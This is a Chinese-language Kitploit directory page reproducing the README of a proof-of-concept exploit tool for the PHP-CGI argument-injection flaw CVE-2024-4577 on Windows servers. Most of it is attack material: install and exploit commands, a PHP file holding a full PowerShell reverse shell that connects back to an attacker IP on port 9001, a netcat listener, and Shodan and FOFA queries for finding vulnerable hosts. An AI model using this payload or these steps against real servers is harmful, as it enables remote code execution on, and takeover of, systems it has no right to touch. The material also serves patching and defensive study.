Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-4577 — 针对PHP CGI参数注入(CVE-2024-4577)的概念验证利用工具,可在易受攻击的Windows服务器上实现远程代码执行,并具备扫描和反弹Shell功能。 | Kitploit
工具/GitHubGitHub/phirojshah/cve-2024-4577
侦察Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubphirojshah/cve-2024-4577

CVE-2024-4577

针对PHP CGI参数注入(CVE-2024-4577)的概念验证利用工具,可在易受攻击的Windows服务器上实现远程代码执行,并具备扫描和反弹Shell功能。

查看仓库
2141年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PHP CGI参数注入 (CVE-2024-4577) 远程代码执行

📜 描述

在 PHP 8.1.* 至 8.1.29 之前、8.2.* 至 8.2.20 之前、8.3.* 至 8.3.8 之前的版本中,当在 Windows 上使用 Apache 和 PHP-CGI 时,如果系统设置为使用某些代码页,Windows 可能使用“最佳匹配”行为来替换传递给 Win32 API 函数的命令行中的字符。PHP CGI 模块可能会将这些字符误解为 PHP 选项,从而允许恶意用户向正在运行的 PHP 二进制文件传递选项,进而泄露脚本源代码、在服务器上执行任意 PHP 代码等。

"XAMPP 在默认配置下存在漏洞,我们可以针对 /php-cgi/php-cgi.exe 端点。要利用某个 .php 端点(例如 /index.php),服务器必须配置为以 CGI 模式运行 PHP 脚本。"

🛠️ 安装

root@kitploit:~
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt 

⚙️ 用法

$ python3 CVE-2024-4577.py -s -t https://target.com/

🤖 建立反弹 Shell

PHP 载荷

[!NOTE] 此工具展示真实的攻击和技术(TTPs)。但此特定载荷样本在此场景中无法正常运行。请修改 shell.php 以获得完全有效的载荷。

root@kitploit:~
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";

exec($payload);
?>
 

🖥️ 扫描服务器

root@kitploit:~
$ python3 CVE-2024-4577.py -s -t https://target.com/                                                   
  ______     _______   ____   ___ ____  _  _         _  _  ____ _____ _____ 
 / ___\ \   / / ____| |___ \ / _ \___ \| || |       | || || ___|___  |___  |
| |    \ \ / /|  _|     __) | | | |__) | || |_ _____| || ||___ \  / /   / / 
| |___  \ V / | |___   / __/| |_| / __/|__   _|_____|__   _|__) |/ /   / /  
 \____|  \_/  |_____| |_____|\___/_____|  |_|          |_||____//_/   /_/    
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning  

[+] Target https://target.com is vulnerable to CVE-2024-4577

🎯 利用易受攻击的服务器

root@kitploit:~
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
                                                  
 ______     _______   ____   ___ ____  _  _         _  _  ____ _____ _____ 
 / ___\ \   / / ____| |___ \ / _ \___ \| || |       | || || ___|___  |___  |
| |    \ \ / /|  _|     __) | | | |__) | || |_ _____| || ||___ \  / /   / / 
| |___  \ V / | |___   / __/| |_| / __/|__   _|_____|__   _|__) |/ /   / /  
 \____|  \_/  |_____| |_____|\___/_____|  |_|          |_||____//_/   /_/    
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning  

[+] Exploit successful!

👨🏻‍💻 Netcat 监听

root@kitploit:~
$ nc -lvnp 9001

🔍 发现易受攻击的主机

  • Shodan: server: PHP 8.1, server: PHP 8.2, server: PHP 8.3
  • FOFA: protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"

💁 参考资料

  • https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577
  • https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-4577.yaml
  • http://www.openwall.com/lists/oss-security/2024/06/07/1
  • https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.rb
  • https://www.php.net/ChangeLog-8.php#8.1.29
  • https://www.php.net/ChangeLog-8.php#8.2.20
  • https://www.php.net/ChangeLog-8.php#8.3.8
  • https://github.com/l0n3m4n/CVE-2024-4577-RCE/

⚠️ 免责声明

此工具仅用于教育和研究目的。创建者对因使用本工具而产生的任何误用或损坏不承担任何责任。

下载工具